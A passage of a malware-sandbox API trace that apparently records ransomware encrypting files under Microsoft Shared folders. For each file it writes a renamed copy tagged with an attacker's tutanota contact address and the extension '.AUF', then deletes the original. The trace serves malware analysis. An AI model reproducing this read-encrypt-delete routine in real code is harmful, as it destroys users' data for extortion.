(lpString1=".jpg", lpString2=".MOF") returned -1 [0223.858] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0223.858] lstrlenW (lpString="MSLID.DLL") returned 9 [0223.858] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0223.859] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=591168) returned 1 [0223.859] CloseHandle (hObject=0x21c) returned 1 [0223.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll")) returned 0x20 [0223.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0223.859] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0223.859] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0223.859] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0223.859] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0223.880] GetLastError () returned 0x0 [0223.880] ReadFile (in: hFile=0x21c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x90540, lpOverlapped=0x0) returned 1 [0223.925] WriteFile (in: hFile=0x168, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x90550, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0x90550, lpOverlapped=0x0) returned 1 [0223.932] ReadFile (in: hFile=0x21c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0223.932] WriteFile (in: hFile=0x168, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0223.932] SetEndOfFile (hFile=0x168) returned 1 [0223.932] CloseHandle (hObject=0x168) returned 1 [0223.932] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0223.932] SetEndOfFile (hFile=0x21c) returned 1 [0223.936] CloseHandle (hObject=0x21c) returned 1 [0223.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0223.936] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll")) returned 1 [0223.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL") returned 62 [0223.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL") returned 62 [0223.937] lstrlenW (lpString=".doc") returned 4 [0223.937] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0223.937] lstrlenW (lpString=".docx") returned 5 [0223.937] lstrcmpiW (lpString1=".docx", lpString2="D.DLL") returned -1 [0223.937] lstrlenW (lpString=".pdf") returned 4 [0223.937] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0223.937] lstrlenW (lpString=".xls") returned 4 [0223.937] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0223.937] lstrlenW (lpString=".xlsx") returned 5 [0223.937] lstrcmpiW (lpString1=".xlsx", lpString2="D.DLL") returned -1 [0223.937] lstrlenW (lpString=".ppt") returned 4 [0223.937] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0223.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL") returned 62 [0223.937] lstrlenW (lpString=".zip") returned 4 [0223.937] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0223.937] lstrlenW (lpString=".rar") returned 4 [0223.937] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0223.937] lstrlenW (lpString=".bz2") returned 4 [0223.937] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0223.937] lstrlenW (lpString=".7z") returned 3 [0223.937] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0223.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL") returned 62 [0223.937] lstrlenW (lpString=".dbf") returned 4 [0223.937] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0223.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL") returned 62 [0223.937] lstrlenW (lpString=".1cd") returned 4 [0223.937] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0223.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL") returned 62 [0223.937] lstrlenW (lpString=".jpg") returned 4 [0223.937] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0223.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL") returned 62 [0223.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL") returned 62 [0223.937] lstrlenW (lpString=".doc") returned 4 [0223.937] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0223.937] lstrlenW (lpString=".docx") returned 5 [0223.937] lstrcmpiW (lpString1=".docx", lpString2="D.DLL") returned -1 [0223.938] lstrlenW (lpString=".pdf") returned 4 [0223.938] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0223.938] lstrlenW (lpString=".xls") returned 4 [0223.938] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0223.938] lstrlenW (lpString=".xlsx") returned 5 [0223.938] lstrcmpiW (lpString1=".xlsx", lpString2="D.DLL") returned -1 [0223.938] lstrlenW (lpString=".ppt") returned 4 [0223.938] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0223.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL") returned 62 [0223.938] lstrlenW (lpString=".zip") returned 4 [0223.938] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0223.938] lstrlenW (lpString=".rar") returned 4 [0223.938] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0223.938] lstrlenW (lpString=".bz2") returned 4 [0223.938] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0223.938] lstrlenW (lpString=".7z") returned 3 [0223.938] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0223.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL") returned 62 [0223.938] lstrlenW (lpString=".dbf") returned 4 [0223.938] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0223.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL") returned 62 [0223.938] lstrlenW (lpString=".1cd") returned 4 [0223.938] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0223.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL") returned 62 [0223.938] lstrlenW (lpString=".jpg") returned 4 [0223.938] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0223.938] lstrcmpiW (lpString1=".LEX", lpString2=".AUF") returned 1 [0223.938] lstrlenW (lpString="MSWDS_ES.LEX") returned 12 [0223.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0224.027] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=395651) returned 1 [0224.027] CloseHandle (hObject=0x22c) returned 1 [0224.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex")) returned 0x20 [0224.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.027] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0224.028] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.028] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.028] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0224.028] GetLastError () returned 0x0 [0224.028] ReadFile (in: hFile=0x22c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x60983, lpOverlapped=0x0) returned 1 [0224.054] WriteFile (in: hFile=0x21c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x60990, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0x60990, lpOverlapped=0x0) returned 1 [0224.060] ReadFile (in: hFile=0x22c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0224.060] WriteFile (in: hFile=0x21c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.060] SetEndOfFile (hFile=0x21c) returned 1 [0224.060] CloseHandle (hObject=0x21c) returned 1 [0224.060] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.060] SetEndOfFile (hFile=0x22c) returned 1 [0224.063] CloseHandle (hObject=0x22c) returned 1 [0224.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.063] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex")) returned 1 [0224.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0224.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0224.064] lstrlenW (lpString=".doc") returned 4 [0224.064] lstrcmpiW (lpString1=".doc", lpString2=".LEX") returned -1 [0224.064] lstrlenW (lpString=".docx") returned 5 [0224.064] lstrcmpiW (lpString1=".docx", lpString2="S.LEX") returned -1 [0224.064] lstrlenW (lpString=".pdf") returned 4 [0224.064] lstrcmpiW (lpString1=".pdf", lpString2=".LEX") returned 1 [0224.065] lstrlenW (lpString=".xls") returned 4 [0224.065] lstrcmpiW (lpString1=".xls", lpString2=".LEX") returned 1 [0224.065] lstrlenW (lpString=".xlsx") returned 5 [0224.065] lstrcmpiW (lpString1=".xlsx", lpString2="S.LEX") returned -1 [0224.065] lstrlenW (lpString=".ppt") returned 4 [0224.065] lstrcmpiW (lpString1=".ppt", lpString2=".LEX") returned 1 [0224.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0224.065] lstrlenW (lpString=".zip") returned 4 [0224.065] lstrcmpiW (lpString1=".zip", lpString2=".LEX") returned 1 [0224.065] lstrlenW (lpString=".rar") returned 4 [0224.065] lstrcmpiW (lpString1=".rar", lpString2=".LEX") returned 1 [0224.065] lstrlenW (lpString=".bz2") returned 4 [0224.065] lstrcmpiW (lpString1=".bz2", lpString2=".LEX") returned -1 [0224.065] lstrlenW (lpString=".7z") returned 3 [0224.065] lstrcmpiW (lpString1=".7z", lpString2="LEX") returned -1 [0224.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0224.065] lstrlenW (lpString=".dbf") returned 4 [0224.065] lstrcmpiW (lpString1=".dbf", lpString2=".LEX") returned -1 [0224.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0224.065] lstrlenW (lpString=".1cd") returned 4 [0224.065] lstrcmpiW (lpString1=".1cd", lpString2=".LEX") returned -1 [0224.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0224.065] lstrlenW (lpString=".jpg") returned 4 [0224.065] lstrcmpiW (lpString1=".jpg", lpString2=".LEX") returned -1 [0224.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0224.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0224.065] lstrlenW (lpString=".doc") returned 4 [0224.065] lstrcmpiW (lpString1=".doc", lpString2=".LEX") returned -1 [0224.065] lstrlenW (lpString=".docx") returned 5 [0224.065] lstrcmpiW (lpString1=".docx", lpString2="S.LEX") returned -1 [0224.065] lstrlenW (lpString=".pdf") returned 4 [0224.065] lstrcmpiW (lpString1=".pdf", lpString2=".LEX") returned 1 [0224.065] lstrlenW (lpString=".xls") returned 4 [0224.065] lstrcmpiW (lpString1=".xls", lpString2=".LEX") returned 1 [0224.065] lstrlenW (lpString=".xlsx") returned 5 [0224.065] lstrcmpiW (lpString1=".xlsx", lpString2="S.LEX") returned -1 [0224.065] lstrlenW (lpString=".ppt") returned 4 [0224.065] lstrcmpiW (lpString1=".ppt", lpString2=".LEX") returned 1 [0224.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0224.065] lstrlenW (lpString=".zip") returned 4 [0224.065] lstrcmpiW (lpString1=".zip", lpString2=".LEX") returned 1 [0224.065] lstrlenW (lpString=".rar") returned 4 [0224.065] lstrcmpiW (lpString1=".rar", lpString2=".LEX") returned 1 [0224.065] lstrlenW (lpString=".bz2") returned 4 [0224.065] lstrcmpiW (lpString1=".bz2", lpString2=".LEX") returned -1 [0224.065] lstrlenW (lpString=".7z") returned 3 [0224.065] lstrcmpiW (lpString1=".7z", lpString2="LEX") returned -1 [0224.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0224.065] lstrlenW (lpString=".dbf") returned 4 [0224.065] lstrcmpiW (lpString1=".dbf", lpString2=".LEX") returned -1 [0224.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0224.066] lstrlenW (lpString=".1cd") returned 4 [0224.066] lstrcmpiW (lpString1=".1cd", lpString2=".LEX") returned -1 [0224.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0224.066] lstrlenW (lpString=".jpg") returned 4 [0224.066] lstrcmpiW (lpString1=".jpg", lpString2=".LEX") returned -1 [0224.066] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0224.066] lstrlenW (lpString="FDATE.DLL") returned 9 [0224.066] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0224.066] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=98176) returned 1 [0224.066] CloseHandle (hObject=0x22c) returned 1 [0224.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll")) returned 0x20 [0224.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.066] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0224.066] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.066] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.067] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0224.067] GetLastError () returned 0x0 [0224.067] ReadFile (in: hFile=0x22c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x17f80, lpOverlapped=0x0) returned 1 [0224.095] WriteFile (in: hFile=0x21c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x17f90, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0x17f90, lpOverlapped=0x0) returned 1 [0224.097] ReadFile (in: hFile=0x22c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0224.097] WriteFile (in: hFile=0x21c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0224.097] SetEndOfFile (hFile=0x21c) returned 1 [0224.097] CloseHandle (hObject=0x21c) returned 1 [0224.097] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.098] SetEndOfFile (hFile=0x22c) returned 1 [0224.098] CloseHandle (hObject=0x22c) returned 1 [0224.099] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.099] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll")) returned 1 [0224.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned 66 [0224.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned 66 [0224.099] lstrlenW (lpString=".doc") returned 4 [0224.099] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0224.099] lstrlenW (lpString=".docx") returned 5 [0224.099] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0224.099] lstrlenW (lpString=".pdf") returned 4 [0224.099] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0224.099] lstrlenW (lpString=".xls") returned 4 [0224.099] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0224.099] lstrlenW (lpString=".xlsx") returned 5 [0224.099] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0224.099] lstrlenW (lpString=".ppt") returned 4 [0224.099] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0224.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned 66 [0224.099] lstrlenW (lpString=".zip") returned 4 [0224.099] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0224.099] lstrlenW (lpString=".rar") returned 4 [0224.099] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0224.099] lstrlenW (lpString=".bz2") returned 4 [0224.099] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0224.099] lstrlenW (lpString=".7z") returned 3 [0224.099] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0224.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned 66 [0224.099] lstrlenW (lpString=".dbf") returned 4 [0224.099] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0224.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned 66 [0224.099] lstrlenW (lpString=".1cd") returned 4 [0224.099] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0224.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned 66 [0224.099] lstrlenW (lpString=".jpg") returned 4 [0224.099] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0224.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned 66 [0224.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned 66 [0224.101] lstrlenW (lpString=".doc") returned 4 [0224.101] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0224.101] lstrlenW (lpString=".docx") returned 5 [0224.101] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0224.101] lstrlenW (lpString=".pdf") returned 4 [0224.101] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0224.101] lstrlenW (lpString=".xls") returned 4 [0224.101] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0224.101] lstrlenW (lpString=".xlsx") returned 5 [0224.101] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0224.101] lstrlenW (lpString=".ppt") returned 4 [0224.101] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0224.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned 66 [0224.101] lstrlenW (lpString=".zip") returned 4 [0224.101] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0224.101] lstrlenW (lpString=".rar") returned 4 [0224.101] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0224.101] lstrlenW (lpString=".bz2") returned 4 [0224.101] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0224.101] lstrlenW (lpString=".7z") returned 3 [0224.101] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0224.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned 66 [0224.101] lstrlenW (lpString=".dbf") returned 4 [0224.101] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0224.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned 66 [0224.101] lstrlenW (lpString=".1cd") returned 4 [0224.101] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0224.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned 66 [0224.101] lstrlenW (lpString=".jpg") returned 4 [0224.101] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0224.101] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0224.101] lstrlenW (lpString="FSTOCK.DLL") returned 10 [0224.101] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0224.102] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=159104) returned 1 [0224.102] CloseHandle (hObject=0x22c) returned 1 [0224.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll")) returned 0x20 [0224.102] GetFileAttributesW (lpFileName="C:\\Program 